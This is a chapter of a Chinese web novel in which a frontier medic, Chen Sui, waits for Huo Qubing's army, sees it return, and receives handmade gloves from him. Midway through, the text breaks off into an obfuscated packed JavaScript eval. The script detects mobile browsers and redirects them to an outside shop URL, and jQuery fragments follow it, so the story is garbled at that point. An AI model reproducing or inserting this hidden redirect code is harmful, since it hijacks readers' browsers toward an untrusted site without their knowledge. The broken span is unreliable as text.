第二天陈穗没有等来霍去病。
她等了一整个白天。从晨光初露到日头升高，从正午的烈日晒得烧焦的地面腾起热浪，到傍晚的天光再次暗淡下去，西面地平线上再也没有出现过烟尘。她把伤员安排妥当了，把防御工事重新加固了，把烧毁的鹿角拒马拆了清理干净，然后站在营门口向西望。
木棍老兵走过来站到她旁边，也望了一会儿。然后说：“陈医官，你昨晚一夜没睡。”
“嗯。”
“你去眯一会儿。我在这儿看着。有烟尘我喊你。”
“不用。”陈穗把目光收回来看了看自己的手——手套上全是灰和血迹凝成的硬块，腕口处磨破了边。她把手套摘下来翻了个面，内侧那两个字还能认出来，她看了两秒又戴上了。“我再等一会儿。”
老兵没再劝，拄着木棍走了。陈穗一个人站在营门口继续望。西面的戈壁在夕阳底下呈现出一片暗金色，地面上的碎石反射着细碎的光，但她望过去的时候视野里什么也没有，除了地平线本身。
匈奴撤走之后，这片戈壁安静得不像话。
天黑的时候她回了帐里。坐在毡子上发了会儿呆，系统界面安安静静地浮在视野角落里：『水车图纸已解锁。灌溉渠规划待启动。』她看了一眼，合上了。不想看。她把那双手套摘下来放在膝盖上，羊皮已经磨薄了好几处，掌心的厚衬上全是她握铁锹和长戟时磨出来的深痕。她用手指顺着那些痕迹摸了一遍，然后把手套叠好塞回怀里，躺下去。
睁眼到天亮。
第三天早上她起来的时候眼睛涩得厉害，用冷水泼了一把脸，出去照常巡视麦田和工事。地里的麦苗又长高了一截，草帘掀开来检查的时候能看到叶片已经有三指宽了，嫩绿色的叶面迎着晨光平展展地铺开。她蹲在地头摸了摸麦苗尖，觉得手底下触到的凉意让人清醒了一点。
她站起来往营门方向走，一边走一边下意识地整理袖口和手套的系绳。走到半路上，哨塔上的伤兵忽然吹响了号角——还是急哨，但这一次尾音拖得很长，像一个被拉长了的呼吸。陈穗猛地顿住脚步抬头。
哨兵冲她喊：“西面！烟尘！很大——”
陈穗拔腿就往营门跑。她跑到营门口的时候，木棍老兵已经到了，拄着木棍眯着眼向西望。灰黄色的地平线上浮起了一大片烟尘，比之前斥候队长带人撤回来的时候大得多，铺天盖地的，像一整片云被掀翻在地面上拖着跑。
“多少人？”陈穗喘着气问。
老兵看了一会儿。“看不清，但……起码上千。”
陈穗攥紧手套，心跳猛地提上来又压下去。她盯着那道烟尘看了很久，烟尘底下开始浮现出影子——大片的、排列整齐的、正在朝营地方向移动的影子。她盯着那些影子的轮廓看，越看越觉得不对劲。那些影子移动的速度不快，队形很稳，不像溃散的逃兵，也不像急速推进的冲锋。
然后她看见了最前面那面旗。
红底黑字，被风卷得猎猎作响。一个“霍”字。
她把那口气猛地呼了出来，呼得太急，整个人踉跄了一下，扶住旁边的拒马才站稳。眼睛突然很涩，她使劲眨了好几下，咬着嘴唇不让自己出声。
“是咱们的人！”哨兵在上面喊起来了，“是将军回来了！”
营门口的人群瞬间涌过来，残兵们从各个方向跑出来聚到门口，文吏攥着钥匙的手终于不抖了，灰袍军医从帐里探出半个身子看了一眼，然后长舒一口气坐回去了。一百多张脸上全是同一种表情——如释重负。陈穗站在最前面，站在拒马留出来的那道缝隙后面，看着那面“霍”字大旗越来越近。
霍去病骑着那匹黑马走在最前面。
他还在马上。这个事实让陈穗的膝盖又软了一下。她盯着他的身影看了很久，越近越清楚——玄甲上全是干涸的血迹，从肩甲一直往下到大腿，有些地方是褐色的，有些地方还是暗红。脸上的血迹擦了一半，另一半还糊在颧骨和下颌上。但他骑马的姿势是直的，腰板没弯，握缰绳的手也稳。
他身后跟着的队伍比走的时候短了一截。陈穗没有细数，但一眼扫过去就知道少了人。走在后面的士兵有的互相搀扶着，有的骑在马上但身体是歪的，有人在马上趴着不动了。陈穗把视线收回来，重新落在霍去病脸上。
他在营门口勒停了马。黑马停下来喷了一股粗气，马蹄在原地踩着碎步。霍去病的目光先扫过了营地外围——那些烧焦的地面、残余的鹿角拒马、密栅的断裂处、火墙留下的黑色痕迹。他看得很慢，每一处都停了一下。然后他的目光落到她身上。
陈穗站在拒马缝隙正中间，脸上全是灰和干掉的泥，嘴角那道干裂的血口子比昨天深了一点，头发被火燎过一截，乱糟糟地支棱着。她的手套上全是硬结的灰泥和暗色斑点，但站得很直。
霍去病翻身下马。动作比走的时候慢了，左脚落地的时候重心偏了一下，但她看出来了他很快撑住了。他走到她面前，隔着三步远站住。
他上下扫了她一眼。目光从她脸上落到她手上——手套。然后手套下面露出来的那一截手腕，上面有几道划伤和暗红色的旧迹。他又把目光移回她脸上。
“守住了？”他问。声音比走的时候哑。
“守住了。”陈穗说。
霍去病看着她。晨光从东面照过来，他的玄甲上那些干涸的血迹在光里泛着暗褐色的反光。他嘴角动了一下，幅度极小，抿着往下收的那种，但陈穗看清楚了。
“我知道了。”他说完越过她往营里走。
走了两步又停住。他背对着她站了一会儿，像是想了什么，然后转过身来。从怀里掏出一个东西递过来。陈穗低头看——一双羊皮手套。浅褐色，比之前那双重，掌心的衬肉眼可见地厚。她接过来的时候翻了一下内侧，羊皮内面上用炭笔写了两个字。歪歪扭扭的，笔画不太稳，像是用左手写的或者是不太习惯拿笔的人一笔一划描出来的。
“陈穗”。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920776|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>她抬起头。霍去病已经转过身去了，留给她一个玄甲的背影。他往前走了两步，像想起什么似的，背对着她说了一句：“打了胜仗。缴了一批皮子。”顿了顿，“顺手做的。”
然后走了。
陈穗低头站在原地，把那双手套翻来覆去看了两遍，然后把她手上那双旧的摘下来，把新的换上。刚好合手，掌心厚衬贴着旧伤，软软的暖意从指尖一路漫上来。她把旧手套叠好塞进怀里，揣在胸口的位置。然后她攥了攥新手套的掌心，跟在霍去病身后走进了营地。
当天傍晚营地办了一场简单的庆功宴。霍去病带出去的两千人折了三百多，但匈奴右贤王部的主力被打退了，河西暂时安全。营地里升了几堆篝火，残兵们和回来的士兵混坐在一起，有人分酒有人分肉，伤员那边的帐篷里偶尔传出笑声。
陈穗坐在麦田边上。她面前放了一碗庆功酒，没怎么喝，端在手里慢慢暖着。木棍老兵端着他的碗走过来坐她旁边，两人沉默地坐了一会儿。
老兵先开口了：“陈医官，你今天拿长戟捅人的时候，跟种地的时候判若两人。”
陈穗低头看自己的新手套：“我从来没拿过武器。”
“那你今天拿了。”
“……不拿不行。”她把酒碗端起来抿了一口，又放下，“我得守住这片地。”
老兵笑了，也喝了一口酒。他喝完之后往远处篝火那边指了指：“你看见没有？将军回来的时候，先进营地还是先看麦田？”
陈穗愣了一下：“什么？”
“你那时候站在营门口接他，他从你旁边过去之后——”老兵顿了顿，“他先去麦田那边绕了一圈才进营。你给他看的麦田，他先去看了一眼才去看的他的兵。”
陈穗攥着酒碗，指节微微发白。她没有说话，但月光底下她的嘴角弯了一下。她低头看了看自己手上那双新的羊皮手套，又转头看了看远处篝火旁边正坐在胡床上跟校尉说话的霍去病。火光映在他脸上，那些干涸的血迹已经擦掉了，露出少年人干净却疲惫的轮廓。他左臂上又缠了新的白布，但他说话的时候手势是稳的。
她收回目光，把手套摘下来翻了个面。内侧那两个字在月光底下安安静静地待着，炭笔的笔迹不算好看，但她看了很久。然后她把新手套叠好揣回怀里，旧手套旁边，贴着胸口。
冬天快到了。
她端起酒碗把剩下的一口喝完，站起来拍了拍裤腿，往麦田那边走去。掀开草帘蹲下去检查麦苗的高度时，指尖碰到叶片上薄薄的夜露。凉凉的，但她的掌心是暖的。
她蹲在地头低着头，把戴了新手套的手慢慢贴在麦田边上，一动不动地搁了一会儿。风从远处祁连山方向吹过来，麦苗在她手边轻轻晃着。
霍去病还在篝火那边。火光那么亮，但他始终没有往这边看过一眼。陈穗把手收回来，重新戴上手套站起来，转身走了。
走了几步又停住，回了一下头。
然后接着走了。